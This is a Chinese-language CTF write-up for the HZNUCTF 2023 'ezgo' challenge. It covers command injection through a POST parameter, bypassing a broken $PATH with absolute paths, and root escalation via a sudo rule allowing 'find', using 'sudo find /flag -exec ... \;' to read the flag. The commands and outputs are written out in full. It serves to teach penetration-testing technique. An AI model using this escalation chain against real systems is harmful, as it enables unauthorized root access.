Sudo 提权
向大佬致敬,太厉害了,四个月全勤,估计是写完题顺带写了wp
[HZNUCTF 2023 final]ezgo
解题思路
Please POST 'shit' to /cmd
初始页面提示,post传参shit到/cmd路由
执行 shit=ls
"ls": executable file not found in $PATH
- 系统默认的
$PATH
环境变量配置异常,无法直接找到ls
等常用命令; - 必须使用绝对路径(如
/bin/ls
)才能执行命令。
执行 shit=echo /bin/*
列出 /bin
目录下的所有可执行文件
/bin/bash /bin/cat /bin/chgrp /bin/chmod /bin/chown /bin/cp /bin/dash /bin/date /bin/dd /bin/df /bin/dir /bin/dmesg /bin/dnsdomainname /bin/domainname /bin/echo /bin/egrep /bin/false /bin/fgrep /bin/findmnt /bin/grep /bin/gunzip /bin/gzexe /bin/gzip /bin/hostname /bin/ln /bin/login /bin/ls /bin/lsblk /bin/mkdir /bin/mknod /bin/mktemp /bin/more /bin/mount /bin/mountpoint /bin/mv /bin/nisdomainname /bin/pidof /bin/pwd /bin/rbash /bin/readlink /bin/rm /bin/rmdir /bin/run-parts /bin/sed /bin/sh /bin/sleep /bin/stty /bin/su /bin/sync /bin/tar /bin/tempfile /bin/touch /bin/true /bin/umount /bin/uname /bin/uncompress /bin/vdir /bin/wdctl /bin/ypdomainname /bin/zcat /bin/zcmp /bin/zdiff /bin/zegrep /bin/zfgrep /bin/zforce /bin/zgrep /bin/zless /bin/zmore /bin/znew
通过/bin/bash -c "ls -l"
查看根目录(通过bash -c
执行复杂命令),发现/flag
文件(权限为 400,仅 root 可读)
total 11300
drwxr-xr-x 2 root root 4096 Mar 20 2023 bin
drwxr-xr-x 2 root root 4096 Dec 9 2022 boot
drwxr-xr-x 5 root root 340 Sep 22 11:47 dev
drwxr-xr-x 1 root root 4096 Sep 22 11:47 etc
-r-------- 1 root root 45 Sep 22 11:47 flag
drwxr-xr-x 2 root root 4096 Dec 9 2022 home
...
-rwxr-xr-x 1 root root 181 Apr 3 2023 start.sh
读取start.sh
脚本,获取系统配置细节:
- flag 被写入
/flag
并设置了严格权限 - 创建了
ctf
用户 - 配置了 sudo 规则:允许 ctf 用户免密以 root 身份执行
/usr/bin/find
#! /bin/bashecho $FLAG > /flag
chmod 400 /flag
useradd ctf
echo "ctf ALL=(root) NOPASSWD: /usr/bin/find" > /etc/sudoers.d/ctf && chmod 0440 /etc/sudoers.d/ctfsu - ctf -c "/main"
用sudo -l
验证权限配置
执行shit=/bin/bash -c "sudo -l"
,得到关键输出:
(root) NOPASSWD: /usr/bin/find
:当前用户可免密码以 root
身份执行 /usr/bin/find
命令。
这是整个提权的核心漏洞点:find
命令可通过 -exec
参数执行其他命令,且继承 sudo
的 root
权限。
Matching Defaults entries for ctf on 7404fc8b50be4421:env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/binUser ctf may run the following commands on 7404fc8b50be4421:(root) NOPASSWD: /usr/bin/find
执行 shit=/bin/bash -c "sudo find /flag -exec id \;"
:
sudo find /flag
:以root
身份查找/flag
文件;-exec id \;
:找到文件后执行id
命令,输出uid=0(root)
,确认已获得root
权限。
uid=0(root) gid=0(root) groups=0(root)
执行sudo find /flag -exec cat flag \;
,以 root 权限读取/flag
内容
NSSCTF{042deeef-b178-40a7-bc9f-6ab66b11f5a2}
知识点提取
$PATH 环境变量机制:
- Linux 执行命令时会默认在
$PATH
定义的目录列表中搜索可执行文件,若配置异常(如未包含/bin
、/usr/bin
),直接输入命令(如ls
)会提示 “executable file not found”。 - 绕过方案:使用绝对路径(如
/bin/ls
、/bin/bash
)直接指定命令位置,不受$PATH
配置影响。
环境信息收集技巧:
通过 echo /bin/*
等通配符命令可快速列出目标目录下的可执行文件,确认系统中可用的核心工具(如 bash
、cat
、sudo
)
Sudo 权限管理与漏洞点识别
-
sudo 核心作用:允许普通用户临时以其他用户(默认 root)身份执行命令,权限范围由
/etc/sudoers
或/etc/sudoers.d/
下的配置文件定义。 -
sudo 权限探测命令:
sudo -l
可列出当前用户的 sudo 权限范围,无需实际执行高权限命令即可获取权限边界,是渗透测试中权限探测的 “黄金命令”。 -
关键漏洞点:sudo 过度授权:
配置
ctf ALL=(root) NOPASSWD: /usr/bin/find
属于典型的 “过度授权” 漏洞:允许普通用户ctf
以 root 身份免密执行find
命令。
Sudo + find 提权原理与实践
- find 命令的特殊参数:-exec:
find
命令的-exec
参数支持在找到符合条件的文件后,额外执行指定命令,语法为find [目标路径/文件] -exec [待执行命令] \;
(\;
是参数结束标志)。 - 提权核心逻辑:当
find
通过sudo
以 root 身份运行时,-exec
后续的命令会继承 root 权限,实现 “普通用户→sudo 调用 find→root 权限执行任意命令” 的提权链。 - 提权验证与利用流程:
- 权限验证:通过
sudo find /flag -exec id \;
执行id
命令,若输出uid=0(root)
,则确认提权成功。 - 目标达成:通过
sudo find /flag -exec cat /flag \;
调用cat
命令读取 root 权限的/flag
文件,获取最终目标。
- 权限验证:通过